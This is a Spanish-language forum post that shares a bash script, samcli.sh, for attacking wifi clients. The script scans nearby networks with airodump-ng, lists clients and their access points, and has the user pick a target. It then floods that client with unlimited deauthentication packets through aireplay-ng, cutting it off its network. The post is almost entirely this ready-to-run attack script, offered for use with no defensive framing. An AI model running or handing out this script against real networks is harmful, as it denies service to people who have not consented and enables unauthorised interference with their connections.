Bienvenidos al nuevo foro de hackplayers. En caso de encontrarse cualquier tipo de error, contacte con cualquier administrador por mensaje privado.
Recuerda que, para incrementar tu privacidad, tambien puedes acceder al foro usando el dominio forohpysho2t5mjs.onion de la red tor.

[Bash script]samcli.sh

Buenas. Vengo a compartir samcli.sh es como killDwifi samfire.sh pero ahora se ataca al cliente.

[code]
#!/bin/bash
#samcli.sh
#
#
#
airmon-ng stop mon0
#RECOPILACION DE ONDAS WIFI
ifconfig wlan0 up
airmon-ng start wlan0
rm scan*.*

airodump-ng -w scan mon0 &
echo "Escaneando el aire"
sleep 33
kill $!

bus2=$(grep -n Station scan-01.csv | awk '{print $1}'|sed -e "s/:Station//g")

cp scan-01.csv scan
cp scan-01.csv scan2
sed -i "1,${bus2}d" scan
cat scan | awk '{print $1}' | grep , |  sed -e "s/,//g" > clientes
cat scan | awk '{print $8}'| awk -F',' '{print $1}' > ap_cli
sed -i '/^$/d' ap_cli
grep -n not ap_cli | grep : |  sed -e "s/:(not//g"  > ap_cli_null
declare -a v_eliminar=()
i=0
while read linea ; do
   v_eliminar[$i]=${linea}
   i=$(($i+1))
done < ap_cli_null

for ((i=${#v_eliminar[@]}-1; i>=0; i--)); do
 sed -i "${v_eliminar[$i]}d" ap_cli
done

for ((i=${#v_eliminar[@]}-1; i>=0; i--)); do
 sed -i "${v_eliminar[$i]}d" clientes
done

#INF asociados
declare -a v_apcli=()
i=0
while read linea ; do
   v_apcli[$i]=${linea}
   i=$(($i+1))
done <<< "`cat ap_cli`"

declare -a v_clientes=()
i=0
while read linea ; do
   v_clientes[$i]=${linea}
   i=$(($i+1))
done <<< "`cat clientes`"


NUM_TOTAL=$(wc clientes | awk '{print $1}')
NUM_TOTAL=$(($NUM_TOTAL-1))
if [ -f /root/Desktop/ultimos/asociados ]; then rm asociados; fi
for x in `seq 0 $NUM_TOTAL`; do
echo "[$x] : ${v_apcli[x]}  :  ${v_clientes[x]}">> asociados
done
#cat asociados

#INF resto
sed -i "1,2d" scan2
var=$(expr ${bus2} - 3)
head -n $var scan2 > datos

cat datos | awk -F',' '{print $1}' > macs_ap_temp
cont_macs_ap=$(wc macs_ap_temp | awk '{print $1}')
var1=$(expr ${cont_macs_ap} - 1)
head -n ${var1} macs_ap_temp > macs_ap

cat datos | awk -F',' '{print $14}' | sed -e "s/ //g" > essids_temp
cat datos | awk -F',' '{print $1}' | sed -e "s/ //g" > bssids_temp
cat datos | awk -F',' '{print $4}'| sed -e "s/ //g" > channel_temp
cat datos | awk -F',' '{print $6}'| sed -e "s/ //g" > cipher_temp
cat datos | awk -F',' '{print $9}'| sed -e "s/ //g" > signal_temp

head -n ${var1} essids_temp > essids
head -n ${var1} bssids_temp > bssids
head -n ${var1} cipher_temp > cipher
head -n ${var1} channel_temp > channel
head -n ${var1} signal_temp > signal



declare -a v_essids=()
i=0
while read linea ; do
   v_essids[$i]=${linea}
   i=$(($i+1))
done <<< "`cat essids`"

declare -a v_bssids=()
i=0
while read linea ; do
   v_bssids[$i]=${linea}
   i=$(($i+1))
done <<< "`cat bssids`"

declare -a v_cipher=()
i=0
while read linea ; do
   v_cipher[$i]=${linea}
   i=$(($i+1))
done <<< "`cat cipher`"

declare -a v_signal=()
i=0
while read linea ; do
   v_signal[$i]=${linea}
   i=$(($i+1))
done <<< "`cat signal`"

declare -a v_channel=()
i=0
while read linea ; do
   v_channel[$i]=${linea}
   i=$(($i+1))
done <<< "`cat channel`"

NUM_TOTAL=$(wc bssids | awk '{print $1}')
NUM_TOTAL=$(($NUM_TOTAL-1))
if [ -f /root/Desktop/ultimos/todo ]; then rm todo; fi
for x in `seq 0 $NUM_TOTAL`; do
echo "[$x] : ${v_bssids[x]} : ${v_channel[x]} :  ${v_signal[x]}  : ${v_essids[x]}">> todo
done
#cat todo

num=${#v_apcli[@]}
num=$(($num-1))
if [ -f /root/Desktop/ultimos/canales ]; then rm canales; fi
if [ -f /root/Desktop/ultimos/ESSIDS ]; then rm ESSIDS; fi
for x in `seq 0 $num`; do
  #echo "${v_apcli[x]}"
  a=${v_apcli[x]}
  echo $a
  cat todo | grep -i $a | awk '{print $9}' >> ESSIDS
  cat todo | grep -i $a | awk '{print $5}' >> canales
done

declare -a v_canales=()
i=0
while read linea ; do
   v_canales[$i]=${linea}
   i=$(($i+1))
done <<< "`cat canales`"

declare -a v_ESSIDS=()
i=0
while read linea ; do
   v_ESSIDS[$i]=${linea}
   i=$(($i+1))
done <<< "`cat ESSIDS`"



NUM_TOTAL=$(wc clientes | awk '{print $1}')
NUM_TOTAL=$(($NUM_TOTAL-1))
if [ -f /root/Desktop/ultimos/selec ]; then rm selec; fi
for x in `seq 0 $NUM_TOTAL`; do
echo "[$x] : ${v_apcli[x]}  :  ${v_canales[x]}  :  ${v_clientes[x]} :  ${v_ESSIDS[x]}">> selec
done
cat selec

echo "--seleccionar objetivo--"
read objetivo
echo "--preparando interfaz--"

echo "$objetivo"
echo "OBJETVO:  ${v_apcli[$objetivo]}, ${v_canales[$objetivo]}, ${v_clientes[$objetivo]}, ${v_ESSIDS[$objetivo]}"

valor2=$((${v_canales[$objetivo]}))
#valor=$((${v_canales[$objetivo]}-1))
#valor=$(($valor*5))
#valor=$(($valor+2412))


#ATAQUE
airmon-ng start wlan0
ifconfig wlan0 down
iwconfig wlan0 channel $valor2
ifconfig wlan0 up
aireplay-ng -0 0 -a ${v_apcli[$objetivo]} -c ${v_clientes[$objetivo]} mon0

[/code]
Accede o Regístrate para comentar.